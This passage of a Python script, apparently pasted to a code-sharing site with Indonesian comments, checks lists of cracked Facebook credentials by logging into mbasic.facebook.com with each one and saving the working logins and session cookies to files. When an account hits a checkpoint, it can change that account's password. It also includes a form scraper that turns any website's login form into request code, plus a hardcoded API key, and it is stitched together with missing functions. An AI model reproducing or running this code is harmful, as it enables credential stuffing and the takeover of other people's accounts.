  947. from bs4 import BeautifulSoup as parser
  948. from threading import (Thread, Event)
  949. from time import sleep as jeda
  950. from datetime import datetime
  951.  
  952. ct = datetime.now()
  953. n = ct.month
  954. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  955. try:
  956.     if n < 0 or n > 12:
  957.         exit()
  958.     nTemp = n - 1
  959. except ValueError:
  960.     exit()
  961.  
  962. current = datetime.now()
  963. hari = current.day
  964. bulan = bulan_[nTemp]
  965. tahun = current.year
  966. bullan = current.month
  967.  
  968. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  969. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  970.  
  971. M = '\x1b[1;91m' # MERAH
  972. H = '\x1b[1;92m' # HIJAU
  973. K = '\x1b[1;93m' # KUNING
  974. B = '\x1b[1;94m' # BIRU
  975. U = '\x1b[1;95m' # UNGU
  976. O = '\x1b[1;96m' # BIRU MUDA
  977. P = '\x1b[1;97m' # PUTIH
  978. J = '\033[38;2;255;127;0;1m' # ORANGE
  979. N = '\x1b[0m' # WARNA MATI
  980. acak = [M, H, K, B, U, O, P, J]
  981. warna = random.choice(acak)
  982. til ="\033[0m╰─ "
  983.  
  984. def jalan(keliling):
  985.     for mau in keliling + '\n':
  986.         sys.stdout.write(mau)
  987.         sys.stdout.flush();jeda(0.03)
  988.        
  989.        
  990. ubah_pass = []
  991. pwbaru = []
  992. pwBaru = []
  993. ubahP = []
  994.  
  995. def file_cp():
  996.     dirs = os.listdir('CP')
  997.     print ("%s%s%s [%s\033[0m \033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  998.     for file in dirs:
  999.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  1000.     try:
  1001.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1002.         opsi()
  1003.     except IOError:
  1004.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  1005.         exit()
  1006.  
  1007. def opsi():
  1008.     CP = ("CP/")
  1009.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  1010.     if romi == "":
  1011.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  1012.         opsi()
  1013.     try:
  1014.         file_cp = open(CP+romi, "r").readlines()
  1015.     except IOError:
  1016.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1017.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  1018.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  1019.     if pw in['y','Y']:
  1020.         ubah_pass.append("ubah_sandi")
  1021.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  1022.         if len(pw2) <= 5:
  1023.             print("%s%s sandi minimal 6 karakter "%(M,til))
  1024.         else:
  1025.             pwbaru.append(pw2)
  1026.     print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  1027.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1028.     print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
  1029.     nomor = 0
  1030.     for fb in file_cp:
  1031.         akun = fb.replace("\n","")
  1032.         ngecek  = akun.split("|")
  1033.         nomor+=1
  1034.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1035.         try:
  1036.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1037.         except requests.exceptions.ConnectionError:
  1038.             continue
  1039.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1040.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1041.     back()
  1042.    
  1043. data = {}
  1044. data2 = {}
  1045.  
  1046. def mengecek(user,pw):
  1047.     global loop,ubah_pass,pwbaru
  1048.     session=requests.Session()
  1049.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  1050.     url = "https://mbasic.facebook.com"
  1051.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1052.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1053.     link=soup.find("form",{"method":"post"})
  1054.     for x in soup("input"):
  1055.         data.update({x.get("name"):x.get("value")})
  1056.     data.update({"email":user,"pass":pw})
  1057.     urlPost=session.post(url+link.get("action"),data=data)
  1058.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1059.     if "c_user" in session.cookies.get_dict():
  1060.         if "Akun Anda Dikunci" in urlPost.text:
  1061.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1062.         else:
  1063.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1064.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1065.     elif "checkpoint" in session.cookies.get_dict():
  1066.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1067.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1068.         link2=response.find("form",{"method":"post"})
  1069.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1070.         for x in response("input"):
  1071.             if x.get("name") in listInput:
  1072.                 data2.update({x.get("name"):x.get("value")})
  1073.         an=session.post(url+link2.get("action"),data=data2)
  1074.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1075.         cek=[cek.text for cek in response2.find_all("option")]
  1076.         number=0
  1077.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1078.         if(len(cek)==0):
  1079.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1080.                 if "ubah_sandi" in ubah_pass:
  1081.                     dat,dat2={},{}
  1082.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1083.                     for x in response("input"):
  1084.                         if x.get("name") in but:
  1085.                             dat.update({x.get("name"):x.get("value")})
  1086.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1087.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1088.                     link3=resUbah.find("form",{"method":"post"})
  1089.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1090.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1091.                         for b in resUbah("input"):
  1092.                             dat2.update({b.get("name"):b.get("value")})
  1093.                         dat2.update({"password_new":"".join(pwbaru)})
  1094.                         an=session.post(url+link3.get("action"),data=dat2)
  1095.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1096.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1097.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1098.                         #cek_apk(coki)
  1099.                 else:
  1100.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1101.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1102.                     #cek_apk(coki)
  1103.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1104.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1105.             else:
  1106.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1107.         else:
  1108.             if "c_user" in session.cookies.get_dict():
  1109.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1110.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1111.         for opsi in range(len(cek)):
  1112.             number +=1
  1113.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1114.     elif "login_error" in str(response):
  1115.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1116.         print("%s╰─ %s"%(M,oh))
  1117.     else:
  1118.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1119.          
  1120. def scarpping_ua():
  1121.     # Url & Headers website #
  1122.    
  1123.    
  1124.     url = "https://api.apilayer.com/user_agent/generate?android=true&chrome=true"
  1125.     header = {"apikey": "2ZxXnjQByF6rPu3GM5DtcEmrJfKqB5xL"}
  1126.    
  1127.     # Main menu #
  1128.    
  1129.   #  os.system('clear')
  1130.     try:
  1131.         response = requests.get(url,headers=header)
  1132.         if response.status_code == 200:
  1133.             uascrap.append(response.json()['ua'])
  1134.         else:
  1135.             uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1136.     except requests.exceptions.ConnectionError:
  1137.         uascrap.append("Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36")
  1138.        
  1139. ###----------[ AUTHOR ]---------- ###
  1140. Author = 'LUXINE-DEV'
  1141. Version = 0.1
  1142.  
  1143. # --> Modules
  1144. import requests,bs4,sys,os,datetime,re
  1145. from bs4 import BeautifulSoup as bs
  1146. from datetime import datetime
  1147. from itertools import count
  1148. from requests import get
  1149. from bs4 import BeautifulSoup
  1150. from rich import print as cetak
  1151. from rich import print as prints
  1152. from rich.panel import Panel as nel
  1153. done = False
  1154. results = []
  1155. # -->  Clear Terminal
  1156. def clear():
  1157.     if "linux" in sys.platform.lower():os.system("clear")
  1158.     elif "win" in sys.platform.lower():os.system("cls")
  1159.  
  1160. # --> Waktu
  1161. def start():
  1162.     global Mulai_Jalan
  1163.     Mulai_Jalan = datetime.now()
  1164. def akhir():
  1165.     global Akhir_Jalan, Total_Waktu
  1166.     Akhir_Jalan = datetime.now()
  1167.     Total_Waktu = Akhir_Jalan - Mulai_Jalan
  1168.     try:
  1169.         Menit = str(Total_Waktu).split(':')[1]
  1170.         Detik = str(Total_Waktu).split(':')[2].replace('.',',').split(',')[0] + ',' + str(Total_Waktu).split(':')[2].replace('.',',').split(',')[1][:1]
  1171.         print('\nProgram Selesai Dalam Waktu %s Menit %s Detik\n'%(Menit,Detik))
  1172.     except Exception as e:
  1173.         print('\n\nProgram Selesai Dalam Waktu 0 Detik\n')
  1174.  
  1175. # --> Main Program
  1176. class get_data_web:
  1177.    
  1178.     def __init__(self):
  1179.         self.xyz = requests.Session()
  1180.         url = input('Masukkan URL : ')
  1181.         print('\n[1] Source Payload')
  1182.         print('[2] Parsed Payload')
  1183.         print('[3] Source Code Post Requests')
  1184.         self.tanya = input('Pilih : ')
  1185.         self.domain = url.split('/')[2]
  1186.         self.get_form(url)
  1187.  
  1188.     def get_form(self,url):
  1189.         req = self.xyz.get(url)
  1190.         raq = bs(req.content,'html.parser')
  1191.         for x in raq.find_all('form'):
  1192.             if self.tanya in ['1','01','a']: self.printing1(req,x)
  1193.             elif self.tanya in ['2','02','b']: self.printing2(req,x)
  1194.             elif self.tanya in ['3','03','c']: self.printing3(url,req,x)
  1195.             else: exit('\nIsi  Yg Benar!')
  1196.  
  1197.     def get_head1(self,req):
  1198.         data = {}
  1199.         head = req.headers
  1200.         usls = ['cookie','set-cookie','report-to','expires','x-fb-debug','date','last-modified','etag']
  1201.         for x,y in zip(head.keys(),head.values()):
  1202.             try:
  1203.                 if x.lower() in usls: continue
  1204.                 else: data.update({x:y})
  1205.             except Exception as e:continue
  1206.         return(data)
  1207.  
  1208.     def get_data1(self,form):
  1209.         data = {}
  1210.         for y in form.find_all('input'):
  1211.             try:data.update({y['name']:y['value']})
  1212.             except Exception as e:continue
  1213.         return(data)
  1214.  
  1215.     def get_data2(self,form):
  1216.         data = []
  1217.         for y in form.find_all('input'):
  1218.             try:data.append(y)
  1219.             except Exception as e:continue
  1220.         return(data)
  1221.  
  1222.     def get_post1(self,form):
  1223.         z = form['action']
  1224.         if 'https://'+self.domain in z: return(z)
  1225.         elif 'http://'+self.domain in z: return(z)
  1226.         else: return('https://%s%s'%(self.domain,z))
  1227.  
  1228.     def printing1(self,req,x):
  1229.         head = self.get_head1(req)
  1230.         data = self.get_data1(x)
  1231.         post = self.get_post1(x)
  1232.         coki = self.xyz.cookies.get_dict()
  1233.         print('\n\n[SOURCE PAYLOAD]\n')
  1234.         print('[Host] %s'%(self.domain))
  1235.         print('[Head] %s'%(head))
  1236.         print('[Data] %s'%(data))
  1237.         print('[Coki] %s'%(coki))
  1238.         print('[Post] %s'%(post))
  1239.  
  1240.     def printing2(self,req,x):
  1241.         head = self.get_head1(req)
  1242.         data = self.get_data2(x)
  1243.         post = self.get_post1(x)
  1244.         coki = self.xyz.cookies.get_dict()
  1245.         print('\n\n[PARSED PAYLOAD]\n')
  1246.         # --> Tampil Headers
  1247.         print('head = {')
  1248.         for x,y in zip(head.keys(),head.values()):
  1249.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1250.         print('    }')
  1251.         # --> Tampil Data
  1252.         print('data = {')
  1253.         for x in data:
  1254.             try:
  1255.                 if 'value' in str(x):
  1256.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1257.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1258.                     print("    %s%s: '%s',"%(x['name'],' '*(19-len(x['name'])),fp))
  1259.                 elif 'name' in str(x):
  1260.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1261.                 else: continue
  1262.             except Exception as e: continue
  1263.         print('    }')
  1264.         # --> Tampil Cookie
  1265.         print('cookie = {')
  1266.         for x,y in zip(coki.keys(),coki.values()):
  1267.             print('    %s%s: %s'%(x,' '*(5-len(x)),y))
  1268.         print('    }')
  1269.         # --> Post Requests
  1270.         print("next = '%s'"%(post))
  1271.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1272.     def printing3(self,url,req,x):
  1273.         head = self.get_head1(req)
  1274.         data = self.get_data2(x)
  1275.         post = self.get_post1(x)
  1276.         print('\n\n[SOURCE CODE POST REQUESTS]\n')
  1277.         # --> Tampil Get Requests
  1278.         print("url  = '%s'"%(url))
  1279.         print("requ = bs(requests.Session().get(url).content,'html.parser')")
  1280.         # --> Tampil Headers
  1281.         print('head = {')
  1282.         for x,y in zip(head.keys(),head.values()):
  1283.             print('    %s%s: %s'%(x,' '*(29-len(x)),y))
  1284.         print('    }')
  1285.         # --> Tampil Data
  1286.         print('data = {')
  1287.         for x in data:
  1288.             try:
  1289.                 if 'value' in str(x):
  1290.                     dp = 'name=' + re.search('name=(.*?)/>',str(x)).group(1)
  1291.                     fp = re.search('value="(.*?)"',str(dp)).group(1)
  1292.                     gp = dp.replace(fp,'(.*?)')
  1293.                     rs = ("re.search('%s',str(requ)).group(1)"%(gp))
  1294.                     print('    %s%s: %s,'%(x['name'],' '*(19-len(x['name'])),rs))
  1295.                 elif 'name' in str(x):
  1296.                     print("    %s%s: '',"%(x['name'],' '*(19-len(x['name']))))
  1297.                 else: continue
  1298.             except Exception as e: continue
  1299.         print('    }')
  1300.         # --> Tampil Cookie
  1301.         print("cookie = requests.Session().cookies.get_dict()")
  1302.         # --> Post Requests
  1303.         print("next = '%s'"%(post))
  1304.         print("post = requests.Session().post(next,headers=head,data=data,cookies=cookie)")
  1305.        
  1306. if __name__=='__main__':
  1307.     try:os.system('git pull')
  1308.     except:pass
  1309.     try:os.mkdir('OK')
  1310.     except:pass
  1311.     try:os.mkdir('CP')
  1312.     except:pass
  1313.     try:os.system('touch .prox.txt')
  1314.     except:pass
  1315.     login_appendi()
  1316.  
  1317.  
Add Comment
Please, Sign In to add comment